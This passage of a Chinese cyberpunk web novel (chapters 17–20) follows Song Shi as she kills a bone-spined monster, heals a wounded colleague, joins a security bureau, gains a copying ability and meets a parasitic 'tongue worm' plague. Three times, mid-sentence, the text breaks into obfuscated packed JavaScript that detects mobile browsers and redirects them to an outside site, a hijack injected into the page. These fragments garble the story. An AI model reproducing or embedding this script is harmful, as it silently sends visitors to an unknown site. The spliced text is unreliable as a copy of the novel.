跑着跑着,老杨下意识摸上陪伴了自己几十年的平安福,但这次他却摸了个空,不可置信地又往身上掏了掏。没有。 “你先跑,我平安符丢了,我回去找找。”老杨突然停下脚步,扭头往回跑去。 眼瞅着伊索纳德号爆破的真相要浮出水面了,老杨作为知情人要是死了,宋拾再想探究就难了,她咬牙一把扯住他,“杨叔你疯了吗?东西明天再找也不迟啊。” 老杨却魔怔了般,嘟囔着摇头:“她就留给我这么一个东西,要是再被我弄丢了……不行,我得找回来!”说罢,就要挣脱束缚。 宋拾恨不得给他一手刀劈晕抗走,但现实条件不允许,她只好劝道:“明天也能找到的,你现在拐回去就是送死!” “不,不行!我已经弄丢过她了,我不能再把她的平安符弄丢了!丫头你快松手,你再这么拽下去,咱谁都活不成。” 宋拾深吸气,露出森森白牙,几乎咬牙切齿道:“我陪你一起找。” “噫——”非人发出的刺耳声音骤然响起。 宋拾定眼望去,港口的探照灯下,模糊的人影逐渐清晰。 安吉尔身长近乎两米,人形,惨白的肌肤,柔软纤细的四肢,浑身没有毛发,眼眶内只有眼白,没有鼻孔没有嘴巴,从额头的头骨一直到尾椎长满了耸动呼吸的骨刺。 它指甲锋利,正戳进一名安防员的头骨里,脊背上的骨刺兴奋地战栗,那位可怜的安防员瞬间被吸成了人干。 安吉尔餍足地抖动身上的骨刺,手臂一挥将尸体甩掉。 它眯着眼睛,扫视四周。空荡荡的港口,一个人也没有,只有在地面上蠕动的鳄蜗。 两人猫着腰躲在高大的铁箱后。 宋拾后背紧贴箱子,努力调整着呼吸,耳边是自己紊乱的呼吸声和砰砰心跳。 人类恶趣味,给这么一个怪物取名叫安吉尔。 安吉尔,天使。 宋拾压低嗓音,几乎是用气送出的音:“听我的,我们先逃,明天肯定……” “在它那里!”老杨趴在铁箱上,半个脑袋探了出去,目光直勾勾盯着安吉尔。 宋拾顺着他的目光望去,只见安吉尔锋利的指甲上正勾着一个布缝的平安符。 它好奇地凑近平安符看了看,又臭美似地挂在自己后背的骨刺上,满意地“噫——”长鸣。 “杨叔你现在该放弃了吧,拿不回来的。”宋拾舒了口气。 老杨深深地望了平安符一眼,像是要把它印刻在脑海里,握住大剪刀的粗糙深褐的手轻轻颤抖着,下定决心道:“好孩子你先跑,叔一定要把平安符拿回来。” “平安符没了就没了!”她差点没压住音量。 宋拾想不明白,无法理解,那个平安符究竟哪里值得他铤而走险去拿回来。 老杨浑浊的眼珠倒映着这位年轻人的面孔,他似笑似哭:“还年轻,你不懂。” 话音刚落,他便扭身拐了出去,蹑手蹑脚地尝试绕到安吉尔的身后。 宋拾有些呼吸不上来,内心格外烦躁。 突然“滋啦”一声,防护帽里传来其他安防员的声音:“能听见吗?老杨和那个新人跑出来没?我们要开车了!” “能听到。”她深吸一口气,“我们本来快跑出去了,但老杨的平安符在安吉尔身上,他现在跑去和安吉尔正面刚了。” “……”那边传来良久的沉默,“知道了,你先过来上车吧,不用管他了。” 宋拾看向那个并不灵活的身影,问道:“那个平安符很重要吗?” “……唉,老杨也是个可怜人。” “平安符是他闺女的。” “那天,老杨带他闺女过生日,结果正巧安防局出任务,他就把孩子丢在了蛋糕店,回来的时候,只剩下一个平安符。” “找了好多年都没找到,直到又一次出任务,去围剿非法表演团,你说巧不巧,老杨看见了他的闺女。被人砍去手臂大腿,装进罐子里,做成人彘供人观赏。” “被救下后的第一句话就是‘爸爸,杀掉我’。” “……” 宋拾耳朵嗡鸣一片,空气滞涩,胸口郁郁发闷,愈发喘不上气来。 她嗓音干涩,“你们先走,我去帮老杨。” “哎,小姑娘别想不开……” 宋拾挂断通讯,拉开防护帽,蹙眉歪头看过去。 老杨小心翼翼地伸手要去勾平安符,安吉尔反应迅速,旋即转身,亮出锋利的指甲。 “噫——!”身上的骨刺猛地立起,尖锐的鸣叫声正是来自于那些骨刺。 明晃晃的长指甲就要抠进老杨脑壳时,“擦啦”沉重的大剪刀一头夯在安吉尔的骨刺上。 “噫!” 它摇摇晃晃稳住身体,愤怒地瞪着眼前的手抡剪刀的女人。 宋拾后背猛地酥麻,还未来得及反应,一道残影下来,她侧身堪堪躲过,却头皮猛地一痛。 安吉尔死死揪住了她的长发。 一旁的老杨急忙举起剪刀“喀嚓”绞断头发,黑色的断发顺着安吉尔的指缝倾斜而下。 头皮骤然一松,宋拾立即挺起身体站好,举起剪刀刺向安吉尔胸口,从肋骨的缝隙里挤进,狠狠地插进心脏。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013790|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 浓稠的白色液体从它胸口喷射出,安吉尔疼痛地猛一甩,宋拾被强大的力道抡飞出去。 伴随着清脆的骨裂声,她的肩膀重重砸落在地面上。 她脸色苍白,单手撑地面,抬眼望去的瞬间瞳孔缩成麦芒。 安吉尔的指甲“滋啦”插进了老杨的脑门上。 他像咬钩的鱼般被带起,双脚脱离地面,无力地垂拉着,眼球向上翻白。 宋拾咬牙踉跄站起身。 没受伤的那只手攥紧剪刀,脚尖点地跃过去,抛起剪刀反手握住刀柄,刀尖精准地刺进竖起骨刺之间的呼吸孔。 “噫——!” 一声悲鸣,安吉尔的呼吸孔骤然喷出强烈的气流,宋拾发丝飞扬,她攥住骨刺,蓝色的符文瞬间爬满她的面庞。 刹那间,白光一闪,安吉尔扬起尖锐的指甲抠进她的左眼。 “轰!”地一声,乳白色的液体和残肢炸开,随着天空的雨水一起落在地面。 宋拾胸口剧烈起伏了几下,脚边滚落着报废的义眼球。 她仰着面,雨水顺着她的眼窝滑落进黑漆漆的眼眶里。 很好,监控盲区。 她长舒了口气。 身上沾满了恶心粘液,宋拾皱着鼻子拾起破损的义眼,正想要越过碎肢,右脚却一软,险些跌在地上。 她颤颤巍巍重新站好,走了几步,挪到老杨身旁。 老杨额头的窟窿很深,源源不断地渗出红到发黑的血液,松弛的眼皮半耷拉着,只露出眼白,不知是死是活。 她一时间有些迷茫,分不清自己救人究竟是动了恻隐之心,还是只是迫切地想要完成论坛交给她的任务。 但救都救了,就救到底吧。 宋拾叹气,缓缓蹲下,手掌覆上他的额头。 符文在女人的肌肤上游走,蓝色的光此刻却异常的温暖,宋拾的手掌贴在他额头的窟窿上,掌心感受着肉芽的生长。 耗尽最后一丝精神力,宋拾两眼发白,熟悉的饥饿感袭来。她抵住上颚,伸手探了探老杨的鼻息。 轻浅的呼吸打在她的指腹上。 还好,还活着,没白忙活。 等了大概十分钟,安防部的悬浮车终于来了。 明亮的车灯直直打下来,宋拾下意识眯起眼睛,肩膀松弛下来。 顾念从悬浮车上跃下,躲过需要打马赛克的残肢碎肉,走到狼狈的两人身前,她掐灭手中的烟,惊讶挑眉。 “你杀的?” 宋拾抠紧掌心的义眼,亮出自己空荡荡的左眼眶:“我这义眼有爆炸的功能,我给它掏出来当手榴弹了,把那玩意炸了。” 有不少义肢能充当武器使用,听到这个理由,顾念笑出了声,面颊上的疤痕随之一动。 “倒霉催的,一个义眼可要好多个五万,先说好啊,安防部可不给报销。不过,可以让老杨赔给你,活了大半辈子,总要有点积蓄吧。” 好多个五万?! 宋拾两眼一黑。 顾念笑得高兴了,一手捞起老杨,扛在肩膀上,又指挥其他安防员将宋拾架起来。 她又突然笑眯眯问道:“你出身久藤,哪来的钱买的义眼呀?” 18. 第十八章 宋拾脸不红心不跳,面不改色道:“追求者送的。” “……”顾念诡异地沉默了半晌。 “姐,你可别不信呀,你瞧我这张脸,怎么说也算有几分姿色呀!” 宋拾套近乎似地凑近,搀扶她的安防员被她大力一贯带了过去。 那名安防员不可置信地瞪向这位看起来营养不良的年轻女人。 都骨折了哪来的牛劲儿?! “……” 顾念五指收进掌心,抬手就给了她一个爆炒栗子,扛着老杨快步走在前面。 “没个正型。” 宋拾也不知道顾念信没信。 坐上悬浮车后,她特意对着反光的玻璃窗照了照。 乳白的碎肉黏在脸上,一头黑发被剪地参差不齐,文艺点叫犬牙交错,难听点是狗啃的。 “……” 好像确实没什么说服力。 返回安防局已经凌晨四点半了,顾念难得展示出了点人文关怀,先将宋拾和老杨送进医疗所进行检查治疗。 宋拾醒来时,左眼缠着绷带,头顶围满一圈的医生。 他们目光炙热,炙热得让她心慌,生怕他们下一句就是“手术很成功,你已经变成男人了”。 “小姑娘身体比普通人要好呀。”其中一个医生笑眯眯道,“才在疗养仓内待了不到两小时身体就痊愈了。” 另一位说:“不知道姑娘你是否有意愿为当今医疗的发展献出一份力呀?” 她却捕捉到了关键词。 两个小时身体就痊愈了? “小姑娘想的怎么样呀?”医生们纷纷露出亲切的微笑。 顶着如此热切的目光,宋拾合理猜测,一旦她说了好,这些医生就会立即将她大卸八块好好研究一番,来促进医学进步,而她则会成为受人尊敬的大体老师。 “抱歉,我不愿意。” 果断坚决。 她从疗养仓上下来,简单地拉伸了下四肢,没有任何的异样与不适,真的痊愈了。 “真的不再考虑考虑吗?”医生的脸上满是遗憾。 宋拾的视线突然被桌上的营养液给吸引,她露出同样的表情,默不作声走到桌旁,行云流水地拿起营养液,摇头。 “社会也需要我,等哪天我退休了,再来为医学献身吧。” 她苦涩一笑,将瓶中的营养液一饮而尽。 众医生:“……” “对了,顾念大队长在哪?” …… 顾念严肃地看着桌对面的人,重重敲了三下桌子:“听医生说,你喝了人家的营养液。你难道不知道医疗室的东西不能乱喝吗?” 宋拾眼观鼻鼻观心。 最有效的办法就是转移话题。 “老杨的情况怎么样了?” 知道她是转移话题,顾念移开视线,叹气,“老杨的情况不乐观,大脑受了严重的创伤,即便是醒过来也可能会变成傻子。” 宋拾心沉了下去。 老杨这个突破口没了,她还是白忙活了。 “你表现的不错。”顾念打开终端,“面对突发情况,没被吓到脚软,不光自救还救了别人,一般人可做不到。” “有意愿来安防局工作吗?”顾念颇有些头疼地揉了揉眉心,“不过是编外人员哈,有机会再给你转正。” 闻言,宋拾心中一动,她垂下眼睑,开始盘算起来。 伊索纳德号爆炸的地点就在多科市港口,说不定知道真相的不只有老杨。留在安防局,她不仅可以获得一份稳定的工作,还能继续寻找爆破背后的真正原因,稳赚不亏的选项。 “好。”她点头答应。 签完电子合同后,顾念对着终端编辑了好一会,露出屏幕给宋拾看。 “按理来说只有转正后才会分配房子。” 屏幕上,宋拾的住址下面填着:紫海区存光路幸福公寓五栋3008号。 这是要给她房子?! 宋拾不可置信瞪大眼睛,感激之情还未溢出言表时,顾念接着说:“所以,我给你找了间最便宜的房子,房东是我,一个月一万八,从你工资里扣。” 把所有的感谢致辞尽数咽下后,宋拾问道:“我的工资有多少?” “四万五,转正后十万。” 顾念合上终端,“指纹信息已经录入房间系统了。还有就是,鳄蜗你们并没有清理完,实际到手的只有两万星币,再加上治疗费用,你现在账户的余额是——” “负三万。” 宋拾眼前一黑。 她掏出终端查了导航后,艰难地走到顾念身边,“姐,队长,借我点钱打车回去。” 多科市的天空被乌云覆盖,看起来随时都可能下雨。 负债三万二的宋拾浑浑噩噩走出安防局,一眼望到对面大厦的巨大电子钟。 7:26。 穿过马路,宋拾跟着人潮来到站台,右眼扫过虹膜上了悬浮车,随便寻了个空位坐下。 在这个时代,佩戴义肢是一件稀疏平常的事情,绑着绷带的独眼却成了异类。 比如此刻的宋拾。 她身上换回了那套从狗头人身上扒下的大衣,短发参差不齐地垂在耳边、后脖颈上,左眼又缠着绷带,另类中透露着穷酸。 周围的人不自觉地远离。 模糊的景物在车窗上一闪而过,时间悄然流逝,宋拾闭着眼整理这几天发生的事情。 定位炸弹被摘除了,她成功逃脱回溯的控制,不必再心惊胆战地害怕自己哪天会爆炸了。 再就是,联邦的势力,056号实验体。 她不自觉拧紧眉头。 联邦极有可能在进行见不得光的人体实验。 联邦学院学生失踪会不会和这件事有关? 似乎有什么东西一闪而过,宋拾猛地睁眼,掏出终端打开论坛,戳开表格,手速快得能擦出火星子,填上: 【联邦学院学生失踪可能和联邦地下进行的人体实验有关。】 之前仿生人透露,联邦学院的安保系统是所有院校中最强的,但偏偏安保系统如此完善的联邦学院却莫名其妙丢了学生,如果不是外部势力,那问题就是出在内部。 一个学校少了学生,还是稀缺的精神师学生,但却没有在联邦网上掀起一丝浪花,甚至有意去压这件事,那么学校本身就可能是幕后黑手。 屏幕上陡然冒出弹窗,黑色的大字。 “恭喜用户今天捡垃圾了吗,您朝着真相前进了一小步。” “稀有精神术法【复制】已为您解冻。” 很好,她的方向是对的,宋拾定了心。 悬浮车上,人工智能宙启的语音播报响起:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013791|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫海区存光路到了,请乘客携带好随身物品下车,祝您旅途愉快。” 宋拾裹好大衣,下了车。 紫海区离市中心比较远,位置偏僻。 这里没有绚丽的高大建筑群,只有像蜂窝般拥挤的公寓楼。斑驳的墙面遗留着旧时代的牛皮癣小广告,随风起舞的白色塑料袋。 这里像是被时代遗漏了。 她跟着导航七拐八拐穿过无数条小巷,孩童们在巷口嬉戏打闹,欢笑声浸染整条巷子。 宋拾恍惚间觉得自己置身在丧尸潮还未爆发的时候。 不是赛博,也不是末世。 人们思考的是明天该吃什么,而不是该如何杀人。 终于找到幸福公寓五栋,宋拾坐电梯上了三十楼,顺利地看见3008。 她将指腹贴在门锁上,随着沉闷的“嘎吱”门被推开了。 房间不大,但是该有的东西都有,倒也不需要宋拾额外置办,就连衣柜里都挂着几件陈年的旧衣服,不出意外是顾念的。 但现在,都是她的了。 宋拾把屋子从里到外翻了个底朝天,只找到了一台旧时代的收音机和几本垫桌脚的书,《变异物种指南》《如何干掉上司自己上位》《杀死室友的一百种方法》…… 她翻开那本看名字还算正经的《变异物种指南》,入目的第一句就是:“遇到变异物种不要慌,向祂祷告,死后可进入天堂。” 宋拾:“……” 怪不得顾念拿来垫桌脚。 放书时手肘不小心碰倒了一旁的收音机,宋拾的目光这才投到它身上。 掉了漆的绿色收音机,一看就是旧时代的老古董了。 她扯出收音机天线,“滋啦啦”的电流窜动了几下,没想到里面居然真的传出了声音,放着舒缓的音乐。 这个时候还有电台吗? 对于想不通的事情,宋拾一般选择不想。她揪了几件柜子里的旧衣服,进了盥洗室,对着镜子解开眼睛上的绷带。 花洒喷出温暖的水流,打湿她毛躁的头发,镜子逐渐被水雾朦胧。 舒缓的音乐流淌进房间的每一个角落,宋拾也不由地松弛了肩膀,仰头任凭水流打在脸上。 “滋啦——!”音乐戛然而止,刺耳的电流声像是烧沸的尖叫水壶,又像是有人在你耳边拿电锯拉小提琴。 宋拾皱眉。 果然旧东西就是容易坏啊。 “滋啦”收音机突然清晰起来,传出的嗓音像是饱满的音符,优雅而又平缓地跃进她的耳蜗里。 “囚徒们,请向主祷告吧,忏悔吧!祂会宽恕你们的。” “祂一直在看你,你们的一举一动皆逃不过祂的眼睛。” “明日,主将在多科市赐下……滋啦……请尽情地享受狂欢吧!” 宋拾一把关掉收音机,她还没来得及擦头,湿漉漉的头发紧贴头皮,水珠顺着肌肤滑落,浸湿地板。 最烦神棍了,神神叨叨的。 此刻,桌上的终端突然亮起,一串欢快的铃声,来电人“顾念”。 宋拾顺手抄起终端接通,先发制人:“队长,你这个收音机怎么还播邪一教啊。” 顾念的声音透过终端传来,带着困惑:“什么收音机啊?” “绿色的收音机。” “我从没买过收音机啊。” 19. 第十九章 “我之前收拾的时候也没注意,可能是上任房主留下的,你在哪找到的?” 怎么可能?! 宋拾倒吸口凉气,手触电般从收音机上缩回。 “……我在你卧室床头柜上找到的。” 那边沉默良久,道:“别怕,也许是进流浪汉了,我回头调一下系统监控。” 勉强接受这个解释,宋拾问道:“队长是有什么事吗?” “明早有领导视察,安防局大部分人都出任务了,你明天过来凑个人头。” 顾念话音刚落,门外蓦地响起敲门声。 “等下。” 宋拾将毛巾搭在湿发上,汲着旧拖鞋走到门前,眼睛透过猫眼看见了抱着箱子快递员。 快递员戴着鸭嘴帽垂着头,看不清脸。 她打开门。 “是宋拾小姐吗?您的快递。” 她皱了皱眉头,将终端贴在耳边,“队长,你给我买东西了?” “做什么梦呢,我能给你买什么东西。我还有事要忙,明天记得六点半前到。” 顾念似乎真的很忙,通讯中传来了嘈杂的人声,紧接着就是一阵通讯结束的忙音。 快递员突然抬起头,露出一张青涩俊秀的脸,并没有被她空荡荡的左眼眶吓到,淡淡微笑,“请您签收一下。” 宋拾握住终端的手垂下,“我没有买东西,是不是搞错了。” 快递员看了眼单号,问道:“请问您是宋拾吗?” “我是宋拾。” “那这就是您的快递。多科市紫海区存光路幸福公寓五栋3008号,收件人宋拾。”快递员照着单子念道。 不知道是不是刚洗完澡的原因,宋拾感觉有些冷。 “请您签收。” 公寓走廊一股寒风吹来,激起她一身鸡皮疙瘩。她僵着胳膊在单子上签了字,接过箱子,猛地关上了门。 又是一阵冷风,快递员打了个寒噤,如梦初醒地望着禁闭的公寓门,他怎么在这里? 将快递箱放在绿收音机旁,宋拾陷入了沉思。 知道她住在这里的只有顾念。 不是顾念送的,那会是谁送的。 开还是不开? 她托起箱子,放轻呼吸,贴在耳边仔细听。没有任何动静,不是定时炸弹,宋拾暂时舒了口气。 撕开封条,她打开箱子,铺满柔软羽毛的箱中,一颗义眼静静躺在正中央。 她如雷劈般定在原地。 她想过无数东西,但唯独没想过会是义眼。 宋拾伸手捞起那枚义眼,这才看见压在底部的纸条,瘦劲清峻的字迹。 【恭喜宋拾小姐窥探到真相的一角,义眼是奖励。很期待我们日后的见面。 ——智者】 随后大概过了三秒,纸条化作蓝色的数据消散在空气中。 智者…… 熟悉的名字,和论坛有关。 他怎么知道自己住在这里? 很明显,他一直在盯着她,可是他靠什么盯? 宋拾瞬间扭头,仔仔细细地观察房间的各个角落,但令她失望的是,并没有摄像头的影子。 她冷静下来,记忆走马灯似地一一闪过。 ……等等,之前论坛就已经知道她的行踪了,所以是……终端? 她将视线落在手中的终端上。 可她捡联邦学院校徽的时候还没终端啊。 这个智者究竟是什么人?外星人还是这个世界的土著?如果是以前,宋拾只会简单地认为拥有如此能力的一定是外星人,但现在她不确定起来。 如果是外星人,为什么要让她调查联邦学院学生失踪和伊索纳德号爆破的真相?这和要侵略蓝星怎么想也没关系。 况且,这个世界的科技树几乎点满了,再加上有神秘的精神术法,达到这种程度倒也不意外。 思索半天,宋拾正式决定放弃思考。现知的线索太少,即便她想破脑袋也不会得出结果的,与其折磨自己,倒不如坦然接受。 而且就目前而言,论坛还需要她,应该是不会害她。 她捏住义眼走进盥洗室,对着镜子将那枚义眼戴了进去,尺寸刚好吻合,甚至没有一丝异物感。 左眼的视线也逐渐恢复,眼前的画面清晰起来。 拿毛巾擦干头发后,宋拾举着终端躺上了床,点开了最新解冻的稀有精神术法【复制】。 老师先简单介绍了什么叫复制。所谓的复制就是完全复制另外一个人模样,进阶版甚至连同对方的基因也一起复制。 但复制基因需要一个媒介,对方的头发或是指甲。 宋拾挑眉,这不就是之前Z释放的精神术法吗。 这次老师在释放精神术时身上并未出现蓝文,省去释放术法所需要的读条,可以说是随心念而动。 如果省去读条,不但可以提高生存的几率,还可以玩阴的,但遗憾的是老师并未教如何省去读条。 复制的上课进度就比骨肉再生快得多了,宋拾刷完基础课程时正好下午两点。 接下来就是实操环节。 她闭上眼睛,脑海开始描绘那位快递员的容貌,一点点细致地勾勒出一张完整的画像。 蓝色的符文从皮肤上浮现游走,犹如池塘的鱼儿欢快地甩着尾巴,宋拾原本的模样开始模糊,肩膀变宽,喉结慢慢凸起。 过程异常难熬,骨头像是被一双无形的手抽离出身体,阵阵的疼痛深入骨肉,细汗悄然间布满额头,她五指收紧攥住床单,痛苦地皱紧眉头。 良久,疼痛消失,身体骤然轻松起来,她睁开眼睛,一跃蹦起冲进盥洗室。 镜中,男人青涩腼腆的容貌映入眼帘,嘴角不可控制地勾出上扬的弧度,和方才的快递员一模一样。 成功了! 她激动地差点蹦起来。 宋拾再度闭上眼睛,脑海里开始描摹另一个人的面孔,干净利落的短发,锋利的眉尾,带着痞气的脸上是一道长长的伤疤。 第二次的疼痛感减弱了些,时间也大大缩减了。 睁开眼,简直是顾念本人亲临。 她狷狂勾唇,邪魅一笑:“女人,想转正吗?想涨工资吗?嗯?” 玩够了,她正准备变回来时又蓦地想起什么,闭上眼,再次描摹人像。 上挑的眼角,眉心一粒艳红的痣,向下压的唇角…… 第三次进行得比前两次都顺利。 宋拾睁开眼,镜中人面容清丽,但眉心的红痣并未给这张脸增加一丝慈悲感的buff。 那是一张掏枪比掏钱更自然的脸。 这是上一世她的模样,如今看见,竟然差点泪崩。 但复制的效果并没有撑太久,五分钟后自动回复成了原样。 耗费太多的精神力,宋拾的肚子发出声响抗议。她只好跑到楼下贩卖机买了几瓶营养液,喝完后又噔噔噔坐电梯上来。 天道酬勤,宋拾将骨肉再生的课程点开,进入了废寝忘食模式,回过神时窗外的夜幕缀满了星星。 凌晨三点,夜深了。 迟来的疲惫感潮水般涌来,她打了个哈欠,点开私聊频道。铁皮猫30+的消息挂在上面,看得出付秋棠已经很收敛了,往常都是99+。 先是问她情况怎么样,还活着吗,以及塞满屏幕的没有营养的水话。 宋拾模棱两可地回复了自己大致的情况后,关掉终端合上眼睛,翻身进入梦乡。 第二天,宋拾是被顾念催命的终端铃声轰炸醒的,一接通就是顾念的咆哮。 “你怎么还没来?!领导马上就要到了,咱局还凑不够五个人,我现在给你转钱,你给我打车过来,立刻马上!” “好好好的。”宋拾猛洗一把脸,漱口。 “还有,把你狗啃的发型剪了,义眼我给你找个临时的,你到时候先戴上应付一下。” “义眼……义眼我昨天路上淘到个二手的,很便宜。” 显然顾念很着急,她并没有细想,说了句“知道了”后,就挂断了。 宋拾捞起桌上生锈的剪子,剪了三分钟才勉强齐了。 这时,终端上亮起“四千星币已到账”的系统提示,以及顾念的信息:“最迟七点半,我要见到你的人。” 现在是六点十五分,宋拾深吸一口气,摔门而出,一路飞驰下楼,狂奔拐出巷子跑到马路上,随便伸手拦了辆悬浮车。 刚坐进去,她喘着气,差点昏厥过去,一字一句道:“去多科安防局,快点!要、要快!七点半前要到!” 司机透过后视镜瞥了她一眼,不满道:“安防局在市中心,再快七点半前也到不了。” “四千星币,跑不跑?” 司机的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013792|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光顿时肃然起敬,双手握住方向盘,“跑!客户的需求就是我的终极目标!” 油门踩到底,悬浮车“砰”地喷出燃料,消失在天际。 车窗外的场景根本看不清,唰唰一闪而过,一路上司机高歌猛进,闯了十几个红灯,还差点追尾。 终于赶在七点半前抵达了安防局,宋拾付了那四千星币后摔门而出,迈着腿飞奔进楼,赶着最后一秒跑到了顾念面前。 她单手扶墙,大口疯狂喘气,眼前一阵眩晕。 顾念看见她,长舒了一口气,拍了拍她的肩膀:“先去换制服,更衣室里有套新的,换好直接去大门口迎宾哈。” 宋拾点头,火速去更衣室换好制服,走到大厅,老远就看见已经有几个安防员候着了,就连顾念也站在门口背着手踱步等待着。 她小跑混进去,学着别人的姿态挺胸站好。 七点三十六分,玻璃门自动打开,一双锃亮的军靴率先进入余光。 挺拔高大的身姿,一身暗蓝色的军装,头戴军帽,挺立的鼻梁,深邃的眼窝,标志性的银发金眸。 身后跟着另外两名军人。 宋拾心脏骤然一缩,是霍尔。 他怎么来了? 顾念站好行礼,手握拳放在胸口,微微弯起腰,脸上露出笑意:“上校,联邦庇佑。” “联邦庇佑。”霍尔颔首,目光轻轻扫过站在门旁的安防员,落在宋拾身上时不知为何停顿了足足有三秒。 宋拾手心不由沁出黏湿的汗,心脏擂鼓,屏着呼吸不敢和他对视。 她都长大了,不可能被发现吧。 “你。”冷漠的上校抬了抬下巴,“叫什么?” 宋拾脑袋“轰”地一声炸开,霍尔知道她的名字,可她不能说自己的真名啊!但顾念就在眼前,如果她说谎了,一定会引起顾念的注意的。 早知道用假名了,她无声尖叫。 怎么办怎么办怎么办?! 霍尔淡金的眸子如同盯紧猎物的蟒蛇,“为什么不说话?” “我……” 或许是苍天垂怜,新安好的玻璃门又一次“砰”地炸裂破碎,众人的视线暂时从宋拾身上挪开。 一辆悬浮车撞了进来,上面着大大的“安防局”,顾念深吸一口气,握紧拳头努力让自己不要发作。 一个安防员推开警车,满脸焦急之色,甚至没注意到霍尔和其他两个军官,着急忙慌地跑到顾念面前。 “队长,不好了,一夜之间,虫疫席卷了整个多科市!”他看起来要哭了,张开嘴,伸出舌头,“就连我也……” 虫疫?全新的名词让宋拾不解,她定睛看向那位安防员的舌头。舌头粉嫩,舌苔也正常,并没有奇怪的地方。 突然,舌头上裂开了一道豁口,明晃晃的尖锐獠牙一闪而过,舌头的嘴像是河蚌一样又闭了回去,仿佛只是她的错觉。 卧槽,宋拾没见过世面地瞪大眼珠。 赛博不愧是赛博,五毒俱全,比她的末世还要凶险。 顾念脸色一变,歉意地冲霍尔一笑:“上校啊,您也听到了,事发突然,情况紧急,要不您改日再来?” 霍尔神色淡淡,点头:“可以理解。不过,我要讲的事也同样很紧急,我需要你帮我抓一个人。” 宋拾心猛地沉到了底,浑身冰凉。 这个人,不出意外就是她了。 “不知道上校说的是什么人?”顾念问。 霍尔从军装口袋里掏出一张照片,照片上的女孩看起来只有十岁左右,骑着一辆大她几号的悬浮摩托,扭着个脑袋,瞪着无辜的圆眼。 “她是一个精神师,很狡猾。现在就在多科市,这是昨天路人拍的发在联邦网上的,已知最新的消息是,她人在贱民区。” 顾念接过照片深深地看了一眼,一股莫名的熟悉感涌上心头,很像一个人。 她牵起嘴角,应道:“了解,上校放心,抓获后一定会第一时间联系您的。” 霍尔轻轻颔首,军靴踩过地面的声响,他转身离去,走前目光不明地扫过宋拾,远去了。 顾念目送军官的背影,直到完全从视线内消失,她捻起照片,不轻不重地拍了下宋拾的额头。 “走了,上车,清理虫疫。” 宋拾看着顾念的背影,有些莫名,她这是……发现了还是没发现? 20、第二十章 顾念合上后备箱,怀里塞满了防护头盔,她抬腿脚尖向上一挑,拉开车门顺势坐上驾驶座,将头盔一个个分给他们。 “等会到了多科市医院,你们戴好头盔,可别被传染了,传染了就要割舌头咯。” “队长,你别说的那么恐怖。”那个被感染的安防员哭丧着脸。 宋拾双手接过递来的头盔,手肘怼了下那位倒霉的安防员,“你是怎么感染上的?” 他好不悲伤地说道:“这玩意防不胜防啊,等我发现的时候,舌头已经被吃干净了,它还鸠占鹊巢。诺,你要看吗?” 他张开嘴,粉嫩的舌头看起来与普通的舌头没有任何的差别,只是偶尔会掀起一条缝隙。 那条缝隙蓦地扩开,像是在打哈欠,露出一张长满尖锐牙齿的嘴。 吃、吃掉舌头,然后取而代之? 宋拾看得一阵头皮发麻,默不作声地将头盔戴到头上,随即她的视野瞬间被蓝色的数据遮盖。 耳边陡然响起人工智能宙启的声音。 “欢迎使用联邦科技,科技将为人类的生活带来福祉。这里是宙启,已为您开启通风过滤模式。” 蓝色的数据褪尽,画面逐渐清晰。 她的目光投向车窗外,头盔屏幕上即刻浮现车玻璃的相关数据分析。 哦豁,高科技。 突然,一群乌压压的黑斑点蜂拥而至,几乎覆盖住整个天空,头盔屏幕上的数据随即被刷新。 “舌虫 它们从变异生物的粪便里繁衍滋生,是人类肉眼不易察觉的小虫,生有翅膀。 它们会寄生在人类的舌头上,悄无声息地一口口吃掉寄主的舌头,并分泌出一种粘液,令寄主感受不到任何痛苦,而它们则会占据舌头的位置,掠夺寄主的营养。” 蓝色的字静静流淌在屏幕上。 滋生于粪便,寄生在口中。 好恶心,宋拾恶寒地摩挲胳膊。 “初次爆发虫疫是4004年,经过这几十年的处理,是不可能一次爆发这么多舌虫的。”顾念抬眸望着乌压压的天空,脸色愈发沉。 “队长的意思是……有人蓄意制造的这场虫疫?”宋拾不知为什么,忽然想起昨晚那个绿收音机。 她还记得收音机里面播的是“明日,主将在多科市赐下……滋啦……请尽情地享受狂欢吧!” 太巧了,正好是今天。 “差不多,不过还需要去医院看看,调查爆发源头在哪。” 顾念一脚将油门踩到底,悬浮车车尾猛喷出燃料,冲破黑压的舌虫层。蜂拥的舌虫群紧追不舍,好久才甩开。 抵达多科市医院,宋拾算是见识到了什么叫人满为患,放眼望去全是人头。 她也是真正看清了舌虫究竟是个什么东西。 